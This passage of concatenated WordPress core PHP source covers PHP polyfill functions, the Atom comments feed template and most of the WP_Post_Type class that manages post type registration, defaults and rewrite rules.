	 * Polyfill for is_countable() function added in PHP 7.3.
	 *
	 * Verify that the content of a variable is an array or an object
	 * implementing the Countable interface.
	 *
	 * @since 4.9.6
	 *
	 * @param mixed $value The value to check.
	 * @return bool True if `$value` is countable, false otherwise.
	 */
	function is_countable( $value ) {
		return ( is_array( $value )
			|| $value instanceof Countable
			|| $value instanceof SimpleXMLElement
			|| $value instanceof ResourceBundle
		);
	}
}

if ( ! function_exists( 'is_iterable' ) ) {
	/**
	 * Polyfill for is_iterable() function added in PHP 7.1.
	 *
	 * Verify that the content of a variable is an array or an object
	 * implementing the Traversable interface.
	 *
	 * @since 4.9.6
	 *
	 * @param mixed $value The value to check.
	 * @return bool True if `$value` is iterable, false otherwise.
	 */
	function is_iterable( $value ) {
		return ( is_array( $value ) || $value instanceof Traversable );
	}
}

if ( ! function_exists( 'array_key_first' ) ) {
	/**
	 * Polyfill for array_key_first() function added in PHP 7.3.
	 *
	 * Get the first key of the given array without affecting
	 * the internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The first key of array if the array
	 *                         is not empty; `null` otherwise.
	 */
	function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			return $key;
		}
	}
}

if ( ! function_exists( 'array_key_last' ) ) {
	/**
	 * Polyfill for `array_key_last()` function added in PHP 7.3.
	 *
	 * Get the last key of the given array without affecting the
	 * internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The last key of array if the array
	 *.                        is not empty; `null` otherwise.
	 */
	function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

		end( $array );

		return key( $array );
	}
}

if ( ! function_exists( 'array_is_list' ) ) {
	/**
	 * Polyfill for `array_is_list()` function added in PHP 8.1.
	 *
	 * Determines if the given array is a list.
	 *
	 * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1.
	 *
	 * @see https://github.com/symfony/polyfill-php81/tree/main
	 *
	 * @since 6.5.0
	 *
	 * @param array<mixed> $arr The array being evaluated.
	 * @return bool True if array is a list, false otherwise.
	 */
	function array_is_list( $arr ) {
		if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) {
			return true;
		}

		$next_key = -1;

		foreach ( $arr as $k => $v ) {
			if ( ++$next_key !== $k ) {
				return false;
			}
		}

		return true;
	}
}

if ( ! function_exists( 'str_contains' ) ) {
	/**
	 * Polyfill for `str_contains()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if needle is
	 * contained in haystack.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$needle` is in `$haystack`, otherwise false.
	 */
	function str_contains( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return false !== strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_starts_with' ) ) {
	/**
	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack begins with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
	 */
	function str_starts_with( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return 0 === strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_ends_with' ) ) {
	/**
	 * Polyfill for `str_ends_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack ends with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` ends with `$needle`, otherwise false.
	 */
	function str_ends_with( $haystack, $needle ) {
		if ( '' === $haystack ) {
			return '' === $needle;
		}

		$len = strlen( $needle );

		return substr( $haystack, -$len, $len ) === $needle;
	}
}

// IMAGETYPE_WEBP constant is only defined in PHP 7.1 or later.
if ( ! defined( 'IMAGETYPE_WEBP' ) ) {
	define( 'IMAGETYPE_WEBP', 18 );
}

// IMG_WEBP constant is only defined in PHP 7.0.10 or later.
if ( ! defined( 'IMG_WEBP' ) ) {
	define( 'IMG_WEBP', IMAGETYPE_WEBP );
}

// IMAGETYPE_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMAGETYPE_AVIF' ) ) {
	define( 'IMAGETYPE_AVIF', 19 );
}

// IMG_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMG_AVIF' ) ) {
	define( 'IMG_AVIF', IMAGETYPE_AVIF );
}
<?php
/**
 * Atom Feed Template for displaying Atom Comments feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'atom' ) . '; charset=' . get_option( 'blog_charset' ), true );
echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '" ?' . '>';

/** This action is documented in wp-includes/feed-rss2.php */
do_action( 'rss_tag_pre', 'atom-comments' );
?>
<feed
	xmlns="http://www.w3.org/2005/Atom"
	xml:lang="<?php bloginfo_rss( 'language' ); ?>"
	xmlns:thr="http://purl.org/syndication/thread/1.0"
	<?php
		/** This action is documented in wp-includes/feed-atom.php */
		do_action( 'atom_ns' );

		/**
		 * Fires inside the feed tag in the Atom comment feed.
		 *
		 * @since 2.8.0
		 */
		do_action( 'atom_comments_ns' );
	?>
>
	<title type="text">
	<?php
	if ( is_singular() ) {
		/* translators: Comments feed title. %s: Post title. */
		printf( ent2ncr( __( 'Comments on %s' ) ), get_the_title_rss() );
	} elseif ( is_search() ) {
		/* translators: Comments feed title. 1: Site title, 2: Search query. */
		printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() );
	} else {
		/* translators: Comments feed title. %s: Site title. */
		printf( ent2ncr( __( 'Comments for %s' ) ), get_wp_title_rss() );
	}
	?>
	</title>
	<subtitle type="text"><?php bloginfo_rss( 'description' ); ?></subtitle>

	<updated><?php echo get_feed_build_date( 'Y-m-d\TH:i:s\Z' ); ?></updated>

<?php if ( is_singular() ) : ?>
	<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php comments_link_feed(); ?>" />
	<link rel="self" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link( '', 'atom' ) ); ?>" />
	<id><?php echo esc_url( get_post_comments_feed_link( '', 'atom' ) ); ?></id>
<?php elseif ( is_search() ) : ?>
	<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php echo home_url() . '?s=' . get_search_query(); ?>" />
	<link rel="self" type="application/atom+xml" href="<?php echo get_search_comments_feed_link( '', 'atom' ); ?>" />
	<id><?php echo get_search_comments_feed_link( '', 'atom' ); ?></id>
<?php else : ?>
	<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php bloginfo_rss( 'url' ); ?>" />
	<link rel="self" type="application/atom+xml" href="<?php bloginfo_rss( 'comments_atom_url' ); ?>" />
	<id><?php bloginfo_rss( 'comments_atom_url' ); ?></id>
<?php endif; ?>
<?php
	/**
	 * Fires at the end of the Atom comment feed header.
	 *
	 * @since 2.8.0
	 */
	do_action( 'comments_atom_head' );
?>
<?php
while ( have_comments() ) :
	the_comment();
	$comment_post = get_post( $comment->comment_post_ID );
	/**
	 * @global WP_Post $post Global post object.
	 */
	$GLOBALS['post'] = $comment_post;
	?>
	<entry>
		<title>
		<?php
		if ( ! is_singular() ) {
			$title = get_the_title( $comment_post->ID );
			/** This filter is documented in wp-includes/feed.php */
			$title = apply_filters( 'the_title_rss', $title );
			/* translators: Individual comment title. 1: Post title, 2: Comment author name. */
			printf( ent2ncr( __( 'Comment on %1$s by %2$s' ) ), $title, get_comment_author_rss() );
		} else {
			/* translators: Comment author title. %s: Comment author name. */
			printf( ent2ncr( __( 'By: %s' ) ), get_comment_author_rss() );
		}
		?>
		</title>
		<link rel="alternate" href="<?php comment_link(); ?>" type="<?php bloginfo_rss( 'html_type' ); ?>" />

		<author>
			<name><?php comment_author_rss(); ?></name>
			<?php
			if ( get_comment_author_url() ) {
				echo '<uri>' . get_comment_author_url() . '</uri>';
			}
			?>

		</author>

		<id><?php comment_guid(); ?></id>
		<updated><?php echo mysql2date( 'Y-m-d\TH:i:s\Z', get_comment_time( 'Y-m-d H:i:s', true, false ), false ); ?></updated>
		<published><?php echo mysql2date( 'Y-m-d\TH:i:s\Z', get_comment_time( 'Y-m-d H:i:s', true, false ), false ); ?></published>

		<?php if ( post_password_required( $comment_post ) ) : ?>
			<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php echo get_the_password_form(); ?>]]></content>
		<?php else : ?>
			<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php comment_text(); ?>]]></content>
		<?php endif; // End if post_password_required(). ?>

		<?php
		// Return comment threading information (https://www.ietf.org/rfc/rfc4685.txt).
		if ( '0' === $comment->comment_parent ) : // This comment is top-level.
			?>
			<thr:in-reply-to ref="<?php the_guid(); ?>" href="<?php the_permalink_rss(); ?>" type="<?php bloginfo_rss( 'html_type' ); ?>" />
			<?php
		else : // This comment is in reply to another comment.
			$parent_comment = get_comment( $comment->comment_parent );
			/*
			 * The rel attribute below and the id tag above should be GUIDs,
			 * but WP doesn't create them for comments (unlike posts).
			 * Either way, it's more important that they both use the same system.
			 */
			?>
			<thr:in-reply-to ref="<?php comment_guid( $parent_comment ); ?>" href="<?php echo get_comment_link( $parent_comment ); ?>" type="<?php bloginfo_rss( 'html_type' ); ?>" />
			<?php
		endif;

		/**
		 * Fires at the end of each Atom comment feed item.
		 *
		 * @since 2.2.0
		 *
		 * @param int $comment_id      ID of the current comment.
		 * @param int $comment_post_id ID of the post the current comment is connected to.
		 */
		do_action( 'comment_atom_entry', $comment->comment_ID, $comment_post->ID );
		?>
	</entry>
	<?php
endwhile;
?>
</feed>
<?php
/**
 * Post API: WP_Post_Type class
 *
 * @package WordPress
 * @subpackage Post
 * @since 4.6.0
 */

/**
 * Core class used for interacting with post types.
 *
 * @since 4.6.0
 *
 * @see register_post_type()
 */
#[AllowDynamicProperties]
final class WP_Post_Type {
	/**
	 * Post type key.
	 *
	 * @since 4.6.0
	 * @var string $name
	 */
	public $name;

	/**
	 * Name of the post type shown in the menu. Usually plural.
	 *
	 * @since 4.6.0
	 * @var string $label
	 */
	public $label;

	/**
	 * Labels object for this post type.
	 *
	 * If not set, post labels are inherited for non-hierarchical types
	 * and page labels for hierarchical ones.
	 *
	 * @see get_post_type_labels()
	 *
	 * @since 4.6.0
	 * @var stdClass $labels
	 */
	public $labels;

	/**
	 * Default labels.
	 *
	 * @since 6.0.0
	 * @var (string|null)[][] $default_labels
	 */
	protected static $default_labels = array();

	/**
	 * A short descriptive summary of what the post type is.
	 *
	 * Default empty.
	 *
	 * @since 4.6.0
	 * @var string $description
	 */
	public $description = '';

	/**
	 * Whether a post type is intended for use publicly either via the admin interface or by front-end users.
	 *
	 * While the default settings of $exclude_from_search, $publicly_queryable, $show_ui, and $show_in_nav_menus
	 * are inherited from public, each does not rely on this relationship and controls a very specific intention.
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $public
	 */
	public $public = false;

	/**
	 * Whether the post type is hierarchical (e.g. page).
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $hierarchical
	 */
	public $hierarchical = false;

	/**
	 * Whether to exclude posts with this post type from front end search
	 * results.
	 *
	 * Default is the opposite value of $public.
	 *
	 * @since 4.6.0
	 * @var bool $exclude_from_search
	 */
	public $exclude_from_search = null;

	/**
	 * Whether queries can be performed on the front end for the post type as part of `parse_request()`.
	 *
	 * Endpoints would include:
	 *
	 * - `?post_type={post_type_key}`
	 * - `?{post_type_key}={single_post_slug}`
	 * - `?{post_type_query_var}={single_post_slug}`
	 *
	 * Default is the value of $public.
	 *
	 * @since 4.6.0
	 * @var bool $publicly_queryable
	 */
	public $publicly_queryable = null;

	/**
	 * Whether to generate and allow a UI for managing this post type in the admin.
	 *
	 * Default is the value of $public.
	 *
	 * @since 4.6.0
	 * @var bool $show_ui
	 */
	public $show_ui = null;

	/**
	 * Where to show the post type in the admin menu.
	 *
	 * To work, $show_ui must be true. If true, the post type is shown in its own top level menu. If false, no menu is
	 * shown. If a string of an existing top level menu ('tools.php' or 'edit.php?post_type=page', for example), the
	 * post type will be placed as a sub-menu of that.
	 *
	 * Default is the value of $show_ui.
	 *
	 * @since 4.6.0
	 * @var bool|string $show_in_menu
	 */
	public $show_in_menu = null;

	/**
	 * Makes this post type available for selection in navigation menus.
	 *
	 * Default is the value $public.
	 *
	 * @since 4.6.0
	 * @var bool $show_in_nav_menus
	 */
	public $show_in_nav_menus = null;

	/**
	 * Makes this post type available via the admin bar.
	 *
	 * Default is the value of $show_in_menu.
	 *
	 * @since 4.6.0
	 * @var bool $show_in_admin_bar
	 */
	public $show_in_admin_bar = null;

	/**
	 * The position in the menu order the post type should appear.
	 *
	 * To work, $show_in_menu must be true. Default null (at the bottom).
	 *
	 * @since 4.6.0
	 * @var int $menu_position
	 */
	public $menu_position = null;

	/**
	 * The URL or reference to the icon to be used for this menu.
	 *
	 * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme.
	 * This should begin with 'data:image/svg+xml;base64,'. Pass the name of a Dashicons helper class
	 * to use a font icon, e.g. 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
	 * so an icon can be added via CSS.
	 *
	 * Defaults to use the posts icon.
	 *
	 * @since 4.6.0
	 * @var string $menu_icon
	 */
	public $menu_icon = null;

	/**
	 * The string to use to build the read, edit, and delete capabilities.
	 *
	 * May be passed as an array to allow for alternative plurals when using
	 * this argument as a base to construct the capabilities, e.g.
	 * array( 'story', 'stories' ). Default 'post'.
	 *
	 * @since 4.6.0
	 * @var string $capability_type
	 */
	public $capability_type = 'post';

	/**
	 * Whether to use the internal default meta capability handling.
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $map_meta_cap
	 */
	public $map_meta_cap = false;

	/**
	 * Provide a callback function that sets up the meta boxes for the edit form.
	 *
	 * Do `remove_meta_box()` and `add_meta_box()` calls in the callback. Default null.
	 *
	 * @since 4.6.0
	 * @var callable $register_meta_box_cb
	 */
	public $register_meta_box_cb = null;

	/**
	 * An array of taxonomy identifiers that will be registered for the post type.
	 *
	 * Taxonomies can be registered later with `register_taxonomy()` or `register_taxonomy_for_object_type()`.
	 *
	 * Default empty array.
	 *
	 * @since 4.6.0
	 * @var string[] $taxonomies
	 */
	public $taxonomies = array();

	/**
	 * Whether there should be post type archives, or if a string, the archive slug to use.
	 *
	 * Will generate the proper rewrite rules if $rewrite is enabled. Default false.
	 *
	 * @since 4.6.0
	 * @var bool|string $has_archive
	 */
	public $has_archive = false;

	/**
	 * Sets the query_var key for this post type.
	 *
	 * Defaults to $post_type key. If false, a post type cannot be loaded at `?{query_var}={post_slug}`.
	 * If specified as a string, the query `?{query_var_string}={post_slug}` will be valid.
	 *
	 * @since 4.6.0
	 * @var string|bool $query_var
	 */
	public $query_var;

	/**
	 * Whether to allow this post type to be exported.
	 *
	 * Default true.
	 *
	 * @since 4.6.0
	 * @var bool $can_export
	 */
	public $can_export = true;

	/**
	 * Whether to delete posts of this type when deleting a user.
	 *
	 * - If true, posts of this type belonging to the user will be moved to Trash when the user is deleted.
	 * - If false, posts of this type belonging to the user will *not* be trashed or deleted.
	 * - If not set (the default), posts are trashed if post type supports the 'author' feature.
	 *   Otherwise posts are not trashed or deleted.
	 *
	 * Default null.
	 *
	 * @since 4.6.0
	 * @var bool $delete_with_user
	 */
	public $delete_with_user = null;

	/**
	 * Array of blocks to use as the default initial state for an editor session.
	 *
	 * Each item should be an array containing block name and optional attributes.
	 *
	 * Default empty array.
	 *
	 * @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/
	 *
	 * @since 5.0.0
	 * @var array[] $template
	 */
	public $template = array();

	/**
	 * Whether the block template should be locked if $template is set.
	 *
	 * - If set to 'all', the user is unable to insert new blocks, move existing blocks
	 *   and delete blocks.
	 * - If set to 'insert', the user is able to move existing blocks but is unable to insert
	 *   new blocks and delete blocks.
	 *
	 * Default false.
	 *
	 * @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/
	 *
	 * @since 5.0.0
	 * @var string|false $template_lock
	 */
	public $template_lock = false;

	/**
	 * Whether this post type is a native or "built-in" post_type.
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $_builtin
	 */
	public $_builtin = false;

	/**
	 * URL segment to use for edit link of this post type.
	 *
	 * Default 'post.php?post=%d'.
	 *
	 * @since 4.6.0
	 * @var string $_edit_link
	 */
	public $_edit_link = 'post.php?post=%d';

	/**
	 * Post type capabilities.
	 *
	 * @since 4.6.0
	 * @var stdClass $cap
	 */
	public $cap;

	/**
	 * Triggers the handling of rewrites for this post type.
	 *
	 * Defaults to true, using $post_type as slug.
	 *
	 * @since 4.6.0
	 * @var array|false $rewrite
	 */
	public $rewrite;

	/**
	 * The features supported by the post type.
	 *
	 * @since 4.6.0
	 * @var array|bool $supports
	 */
	public $supports;

	/**
	 * Whether this post type should appear in the REST API.
	 *
	 * Default false. If true, standard endpoints will be registered with
	 * respect to $rest_base and $rest_controller_class.
	 *
	 * @since 4.7.4
	 * @var bool $show_in_rest
	 */
	public $show_in_rest;

	/**
	 * The base path for this post type's REST API endpoints.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_base
	 */
	public $rest_base;

	/**
	 * The namespace for this post type's REST API endpoints.
	 *
	 * @since 5.9.0
	 * @var string|bool $rest_namespace
	 */
	public $rest_namespace;

	/**
	 * The controller for this post type's REST API endpoints.
	 *
	 * Custom controllers must extend WP_REST_Controller.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_controller_class
	 */
	public $rest_controller_class;

	/**
	 * The controller instance for this post type's REST API endpoints.
	 *
	 * Lazily computed. Should be accessed using {@see WP_Post_Type::get_rest_controller()}.
	 *
	 * @since 5.3.0
	 * @var WP_REST_Controller $rest_controller
	 */
	public $rest_controller;

	/**
	 * The controller for this post type's revisions REST API endpoints.
	 *
	 * Custom controllers must extend WP_REST_Controller.
	 *
	 * @since 6.4.0
	 * @var string|bool $revisions_rest_controller_class
	 */
	public $revisions_rest_controller_class;

	/**
	 * The controller instance for this post type's revisions REST API endpoints.
	 *
	 * Lazily computed. Should be accessed using {@see WP_Post_Type::get_revisions_rest_controller()}.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller $revisions_rest_controller
	 */
	public $revisions_rest_controller;

	/**
	 * The controller for this post type's autosave REST API endpoints.
	 *
	 * Custom controllers must extend WP_REST_Controller.
	 *
	 * @since 6.4.0
	 * @var string|bool $autosave_rest_controller_class
	 */
	public $autosave_rest_controller_class;

	/**
	 * The controller instance for this post type's autosave REST API endpoints.
	 *
	 * Lazily computed. Should be accessed using {@see WP_Post_Type::get_autosave_rest_controller()}.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller $autosave_rest_controller
	 */
	public $autosave_rest_controller;

	/**
	 * A flag to register the post type REST API controller after its associated autosave / revisions controllers, instead of before. Registration order affects route matching priority.
	 *
	 * @since 6.4.0
	 * @var bool $late_route_registration
	 */
	public $late_route_registration;

	/**
	 * Constructor.
	 *
	 * See the register_post_type() function for accepted arguments for `$args`.
	 *
	 * Will populate object properties from the provided arguments and assign other
	 * default properties based on that information.
	 *
	 * @since 4.6.0
	 *
	 * @see register_post_type()
	 *
	 * @param string       $post_type Post type key.
	 * @param array|string $args      Optional. Array or string of arguments for registering a post type.
	 *                                See register_post_type() for information on accepted arguments.
	 *                                Default empty array.
	 */
	public function __construct( $post_type, $args = array() ) {
		$this->name = $post_type;

		$this->set_props( $args );
	}

	/**
	 * Sets post type properties.
	 *
	 * See the register_post_type() function for accepted arguments for `$args`.
	 *
	 * @since 4.6.0
	 *
	 * @param array|string $args Array or string of arguments for registering a post type.
	 */
	public function set_props( $args ) {
		$args = wp_parse_args( $args );

		/**
		 * Filters the arguments for registering a post type.
		 *
		 * @since 4.4.0
		 *
		 * @param array  $args      Array of arguments for registering a post type.
		 *                          See the register_post_type() function for accepted arguments.
		 * @param string $post_type Post type key.
		 */
		$args = apply_filters( 'register_post_type_args', $args, $this->name );

		$post_type = $this->name;

		/**
		 * Filters the arguments for registering a specific post type.
		 *
		 * The dynamic portion of the filter name, `$post_type`, refers to the post type key.
		 *
		 * Possible hook names include:
		 *
		 *  - `register_post_post_type_args`
		 *  - `register_page_post_type_args`
		 *
		 * @since 6.0.0
		 * @since 6.4.0 Added `late_route_registration`, `autosave_rest_controller_class` and `revisions_rest_controller_class` arguments.
		 *
		 * @param array  $args      Array of arguments for registering a post type.
		 *                          See the register_post_type() function for accepted arguments.
		 * @param string $post_type Post type key.
		 */
		$args = apply_filters( "register_{$post_type}_post_type_args", $args, $this->name );

		$has_edit_link = ! empty( $args['_edit_link'] );

		// Args prefixed with an underscore are reserved for internal use.
		$defaults = array(
			'labels'                          => array(),
			'description'                     => '',
			'public'                          => false,
			'hierarchical'                    => false,
			'exclude_from_search'             => null,
			'publicly_queryable'              => null,
			'show_ui'                         => null,
			'show_in_menu'                    => null,
			'show_in_nav_menus'               => null,
			'show_in_admin_bar'               => null,
			'menu_position'                   => null,
			'menu_icon'                       => null,
			'capability_type'                 => 'post',
			'capabilities'                    => array(),
			'map_meta_cap'                    => null,
			'supports'                        => array(),
			'register_meta_box_cb'            => null,
			'taxonomies'                      => array(),
			'has_archive'                     => false,
			'rewrite'                         => true,
			'query_var'                       => true,
			'can_export'                      => true,
			'delete_with_user'                => null,
			'show_in_rest'                    => false,
			'rest_base'                       => false,
			'rest_namespace'                  => false,
			'rest_controller_class'           => false,
			'autosave_rest_controller_class'  => false,
			'revisions_rest_controller_class' => false,
			'late_route_registration'         => false,
			'template'                        => array(),
			'template_lock'                   => false,
			'_builtin'                        => false,
			'_edit_link'                      => 'post.php?post=%d',
		);

		$args = array_merge( $defaults, $args );

		$args['name'] = $this->name;

		// If not set, default to the setting for 'public'.
		if ( null === $args['publicly_queryable'] ) {
			$args['publicly_queryable'] = $args['public'];
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_ui'] ) {
			$args['show_ui'] = $args['public'];
		}

		// If not set, default rest_namespace to wp/v2 if show_in_rest is true.
		if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) {
			$args['rest_namespace'] = 'wp/v2';
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
			$args['show_in_menu'] = $args['show_ui'];
		}

		// If not set, default to the setting for 'show_in_menu'.
		if ( null === $args['show_in_admin_bar'] ) {
			$args['show_in_admin_bar'] = (bool) $args['show_in_menu'];
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_in_nav_menus'] ) {
			$args['show_in_nav_menus'] = $args['public'];
		}

		// If not set, default to true if not public, false if public.
		if ( null === $args['exclude_from_search'] ) {
			$args['exclude_from_search'] = ! $args['public'];
		}

		// Back compat with quirky handling in version 3.0. #14122.
		if ( empty( $args['capabilities'] )
			&& null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ), true )
		) {
			$args['map_meta_cap'] = true;
		}

		// If not set, default to false.
		if ( null === $args['map_meta_cap'] ) {
			$args['map_meta_cap'] = false;
		}

		// If there's no specified edit link and no UI, remove the edit link.
		if ( ! $args['show_ui'] && ! $has_edit_link ) {
			$args['_edit_link'] = '';
		}

		$this->cap = get_post_type_capabilities( (object) $args );
		unset( $args['capabilities'] );

		if ( is_array( $args['capability_type'] ) ) {
			$args['capability_type'] = $args['capability_type'][0];
		}

		if ( false !== $args['query_var'] ) {
			if ( true === $args['query_var'] ) {
				$args['query_var'] = $this->name;
			} else {
				$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
			}
		}

		if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			if ( ! is_array( $args['rewrite'] ) ) {
				$args['rewrite'] = array();
			}
			if ( empty( $args['rewrite']['slug'] ) ) {
				$args['rewrite']['slug'] = $this->name;
			}
			if ( ! isset( $args['rewrite']['with_front'] ) ) {
				$args['rewrite']['with_front'] = true;
			}
			if ( ! isset( $args['rewrite']['pages'] ) ) {
				$args['rewrite']['pages'] = true;
			}
			if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) {
				$args['rewrite']['feeds'] = (bool) $args['has_archive'];
			}
			if ( ! isset( $args['rewrite']['ep_mask'] ) ) {
				if ( isset( $args['permalink_epmask'] ) ) {
					$args['rewrite']['ep_mask'] = $args['permalink_epmask'];
				} else {
					$args['rewrite']['ep_mask'] = EP_PERMALINK;
				}
			}
		}

		foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}

		$this->labels = get_post_type_labels( $this );
		$this->label  = $this->labels->name;
	}

	/**
	 * Sets the features support for the post type.
	 *
	 * @since 4.6.0
	 */
	public function add_supports() {
		if ( ! empty( $this->supports ) ) {
			foreach ( $this->supports as $feature => $args ) {
				if ( is_array( $args ) ) {
					add_post_type_support( $this->name, $feature, $args );
				} else {
					add_post_type_support( $this->name, $args );
				}
			}
			unset( $this->supports );
		} elseif ( false !== $this->supports ) {
			// Add default features.
			add_post_type_support( $this->name, array( 'title', 'editor' ) );
		}
	}

	/**
	 * Adds the necessary rewrite rules for the post type.
	 *
	 * @since 4.6.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 * @global WP         $wp         Current WordPress environment instance.
	 */
	public function add_rewrite_rules() {
		global $wp_rewrite, $wp;

		if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) {
			$wp->add_query_var( $this->query_var );
		}

		if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			if ( $this->hierarchical ) {
				add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" );
			} else {
				add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" );
			}

			if ( $this->has_archive ) {
				$archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive;
				if ( $this->rewrite['with_front'] ) {
					$archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug;
				} else {
					$archive_slug = $wp_rewrite->root . $archive_slug;
				}

				add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' );
				if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) {
					$feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')';
					add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' );
					add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' );
				}
				if ( $this->rewrite['pages'] ) {
					add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . '&paged=$matches[1]', 'top' );
				}
			}

			$permastruct_args         = $this->rewrite;
			$permastruct_args['feed'] = $permastruct_args['feeds'];
			add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args );
		}
	}

	/**
	 * Registers the post type meta box if a custom callback was specified.
	 *
	 * @since 4.6.0
	 */
	public function register_meta_boxes() {
		if ( $this->register_meta_box_cb ) {
			add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 );
		}
	}

	/**
	 * Adds the future post hook action for the post type.
	 *
	 * @since 4.6.0
	 */
	public function add_hooks() {
		add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 );
	}

	/**
	 * Registers the taxonomies for the post type.
	 *
	 * @since 4.6.0
	 */
	public function register_taxonomies() {
		foreach ( $this->taxonomies as $taxonomy ) {
			register_taxonomy_for_object_type( $taxonomy, $this->name );
		}
	}

	/**
	 * Removes the features support for the post type.
	 *
	 * @since 4.6.0
	 *
	 * @global array $_wp_post_type_features Post type features.
	 */
	public function remove_supports() {
		global $_wp_post_type_features;

		unset( $_wp_post_type_features[ $this->name ] );
	}

	/**
	 * Removes any rewrite rules, permastructs, and rules for the post type.
	 *
	 * @since 4.6.0
	 *
	 * @global WP_Rewrite $wp_rewrite          WordPress rewrite component.
	 * @global WP         $wp                  Current WordPress environment instance.
	 * @global array      $post_type_meta_caps Used to remove meta capabilities.
	 */
	public function remove_rewrite_rules() {
		global $wp, $wp_rewrite, $post_type_meta_caps;

		// Remove query var.
		if ( false !== $this->query_var ) {
			$wp->remove_query_var( $this->query_var );
		}

		// Remove any rewrite rules, permastructs, and rules.
		if ( false !== $this->rewrite ) {
			remove_rewrite_tag( "%$this->name%" );
			remove_permastruct( $this->name );
			foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) {
				if ( str_contains( $query, "index.php?post_type=$this->name" ) ) {
					unset( $wp_rewrite->extra_rules_top[ $regex ] );
				}
			}
		}

		// Remove registered custom meta capabilities.
		foreach ( $this->cap as $cap ) {
			unset( $post_type_meta_caps[ $cap ] );
		}
	}

	/**
	 * Unregisters the post type meta box if a custom callback was specified.
	 *
	 * @since 4.6.0
	 */
	public function unregister_meta_boxes() {
		if ( $this->register_meta_box_cb ) {
			remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 );
		}
	}

	/**
	 * Removes the post type from all taxonomies.
	 *
	 * @since 4.6.0
	 */
